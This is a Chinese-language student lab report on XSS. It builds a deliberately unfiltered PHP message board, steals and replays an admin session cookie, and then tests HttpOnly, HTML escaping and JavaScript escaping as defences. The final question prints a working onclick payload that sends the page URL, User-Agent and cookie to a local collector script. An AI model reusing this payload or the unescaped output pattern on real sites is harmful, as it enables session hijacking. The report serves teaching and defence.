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一、 实验目的 

1. 可以理解 XSS 跨站攻击产生的原理和危害 

2. 掌握 HttpOnly 属性、HTML 转义和 JavaScript 转义防护 XSS 攻击的方法 

 

二、 实验过程 

任务一：创建数据库 

导入数据库脚本，新建一个表 messages 

 

查看表结构，messages 表建立成功 

 

 

任务二：建立具有接收 SessionID 功能和具有留言功能的网站 

2-1 任务实现 

将网站代码回滚到初始版本 

 

完成建立具有接收 SessionID 功能网站 getsession 
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将 xss 网站中的 showmessage.html 第 21 行修改为 echo "<tr><td>$row[1]</td></tr>"; 

 

完成建立具有留言功能网站 xss 

 

2-2 功能测试 

访问 messages.html 留言板进行留言 

 

访问 login.php 登录管理员用户“admin/admin123”，访问 showmessage.php 查看留言

板，留言显示正常，留言功能实现成功。 

 

 

 

 

任务三：XSS 攻击测试 

3-1 弹窗式 XSS 攻击测试 

在火狐浏览器访问留言板界面输入 xss 恶意脚本，将内容显示在弹出的提示框上 
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打开 360 浏览器使用管理员用户查看留言，弹出提示框，与预期效果一致 

 

查看源代码，发现 alert 语句被当作脚本执行，因此弹出提示框输出内容 

 
 

3-2 窃取 SessionID 攻击测试 

Get 方式提交的表单只支持 ascii 字符，先使用 truncate 清空 messages 表数据 

 

然后清空浏览器数据，防止先前的 cookie 干扰。 

清理完后我们再次使用火狐浏览器进行恶意留言，这次使用超链接形式进行会话劫持，

诱使管理员点击该超链接访问 getsession/savesession.php 获取其 cookie 并保存。 
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使用 360 浏览器登录管理员账号查看留言板，发现 Click Me，点击 

 

没有任何的回显但是可以查看请求头，发现跳转到 savesession.php 页面，并且 cookie

传参 PHPSESSID，我们保存下其对应 UserAgent：Mozilla/5.0 (Windows NT 10.0; WOW64) 

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36 

 

访问 getsession/savesession.php 发现存在刚刚窃取到的管理员 cookie 

 

 

我们使用窃取到的 Cookie 进行 Cookie 欺骗，首先使用火狐访问 welcom.php 界面，提

示没有权限 
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抓包然后改 cookie 和 User-Agent 后放包 

 

访问成功 

 
 

3-3 测试分析 

由于页面 showmessages.php 中显示留言板消息没有经过任何的过滤（ echo 

"<tr><td>$row[1]</td></tr>";），而是原样输出，导致攻击者可以构造恶意 js 脚本进行攻击（访

问 document.cookie 或者进行会话劫持）从而获取 cookie。 

 

任务四：XSS 攻击防护 

4-1 设置 Cookie 的 HttpOnly 属性： 

HttpOnly 属性为 true 时 Cookie 无法被 document.cookie 访问，攻击者从而无法获取到

cookie 值。 

在 function.php 中设置 HttpOnly，第 35 行后加入 setcookie 语句，关闭浏览器 cookie 即

失效且将作用域布置到 xss 目录下 
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我们再次使用 360 登录后，能发现已经开启了 HttpOnly 属性 

 

再次访问留言板，点击 Click 发现无法向 cookie 传参，这是因为攻击语句是访问的

document.cookie 获取 cookie 值传参过去，无法读取 document.cookie 时就为空。 

 

 

4-2 HTML 转义 

由于一开始查看留言板时留言内容不会经过任何过滤就输出，导致攻击者构造的特殊语

句得以运行，我们在 showmessage.php 中将留言板数据进行输出转义 

 

清空数据库后再次进行攻击测试后查看留言板，能发现“<”转义为了&lt，“>”转义成

立%gt，“””转义成了&quto;，防止了语句被当作 html 标签执行，而是原样输出内容，就不

会被解释为超链接。 

 

 

4-3 JavaScript 转义 

创建 test.html 进行测试，应用 JQuery 框架快速测试。 

定义了一个名为$username 变量，其值是一段包含 JavaScript 代码，\u003c 和\u003e 分

别是<和>的 Unicode 转义形式 

第一条使用 htmlentities 函数对$username 进行转义，把特殊字符转换为 HTML 实体。 

第二条语句没有进行任何处理直接输出。 

选中页面中 id 为 username_info 的元素， 使用 htmlentities 转义后的$username 内容设

置到选中元素中。 
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测试发现，htmlentities 不会对“\”进行处理但是 javascrpt 会，还原并执行其转义后对

应的字符，所以语句 1 防止了 xss 攻击，而语句二存在 xss 攻击。 

 

我们再次修改，防范 javascript 攻击：先使用 htmlspecialchars 函数对$username 进行转

义，再通过 json_encode 转换为 JSON 格式，最后用 html 方法将内容设置到选中元素中  
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测试发现，防范成功 

 

 

三、 实验结论 

四、 思考题 

1. 你还知道哪些 XSS 跨站攻击形式？如何防御？ 

攻击形式： 

⚫ 存储型 XSS ：恶意脚本被存储在服务器端（如数据库），常见于用户可提交

内容并展示的功能模块，像论坛留言、评论区、用户私信等。当其他用户访

问包含恶意脚本的页面时，脚本就会在其浏览器中执行。 

⚫ 反射型 XSS ：恶意脚本存在于 URL 中，用户访问带有恶意脚本参数的 URL 

时，服务器将脚本反射回页面，在用户浏览器执行。常出现于网站搜索、跳

转等通过 URL 传递参数的功能。 

⚫ DOM 型 XSS ：不涉及服务器端，攻击者利用前端 JavaScript 代码对 DOM 

操作的漏洞，通过修改本地 DOM 环境执行恶意脚本。比如，攻击者构造特

殊 URL，其参数被用于修改页面 DOM 时触发恶意代码执行， 

⚫ 基于富文本编辑器的 XSS ：富文本编辑器若存在安全漏洞，攻击者可利用其

插入恶意脚本。 

⚫ MHTML XSS（HTML 邮件 XSS） ：一种将 HTML 页面及相关资源整合在

单个文件的格式。攻击者构造包含恶意脚本的 MHTML 格式邮件，当用户使

用支持 MHTML 的邮件客户端打开时，恶意脚本可能被执行。 

防御方法： 

1) 输入验证与过滤：在服务器端对用户输入进行严格检查，拒绝或过滤掉不合法

字符及可能构成恶意脚本的内容。 

2) 输出编码：将动态输出到 HTML 页面的数据进行转义，把特殊字符转换为 

HTML 实体。 

3) Content Security Policy（CSP） ：通过设置 HTTP 响应头或 HTML 的 <meta> 

标签，定义页面允许加载的资源来源，限制可执行脚本的来源 

4) HttpOnly Cookie ：设置 Cookie 的 HttpOnly 属性，使 JavaScript 无法访问

该 Cookie，防止攻击者利用 XSS 窃取 Cookie 进行会话劫持等攻击。 

5) 避免危险的 DOM 操作：谨慎使用 .innerHTML、document.write() 等可能将

不可信数据当作代码执行的 DOM 操作方法，多用 .textContent、.setAttribute() 

等安全方式操作 DOM。 

6) 安全的富文本编辑器配置：对富文本编辑器进行合理配置和安全加固，启用其
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自带的安全过滤功能，或补充额外的过滤规则，确保用户输入的内容经过严

格净化后再存储和展示。 

7) 及时更新软件和系统：及时修复 Web 应用程序、框架、服务器软件等的安全

漏洞，关注官方发布的安全补丁并及时部署。 

 

2. 怎样利用 XSS 跨站攻击对 Cookie 验证进行欺骗？ 

攻击者在注入的恶意脚本中，使用 document.cookie 获取用户当前页面的 Cookie 信

息，然后，通过 XMLHttpRequest 或 Fetch 等方式，将获取到的 Cookie 信息发送到

攻击者控制的服务器。攻击者拿到用户的 Cookie 后，在其他设备或会话中，将该

Cookie 添加到请求头中，向目标网站发送请求，服务器基于 Cookie 验证认为是合

法用户，攻击者就能以用户身份进行操作，实现 Cookie 欺骗，比如进行转账、修

改用户信息等操作。 

 

3. 怎样实现在 XSS 攻击的同时获得网页地址、User-Agent 和 Cookie？ 

在恶意脚本中，使用 document.location.href 可获取当前页面的完整 URL 地址。 

通过 navigator.userAgent 可获取用户浏览器的 User - Agent 信息。 

使用 document.cookie 获取 Cookie 信息。 

我 们 可 以 构 造 语 句 进 行 测 试 ： <a href="#" 

onclick="document.location='http://localhost/getsession/savesession.php?url='+escape(windo

w.location.href)+'&ua='+escape(navigator.userAgent)+'&cookie='+escape(document.cookie);

">Click Me(promote)</a> 

 

 

 


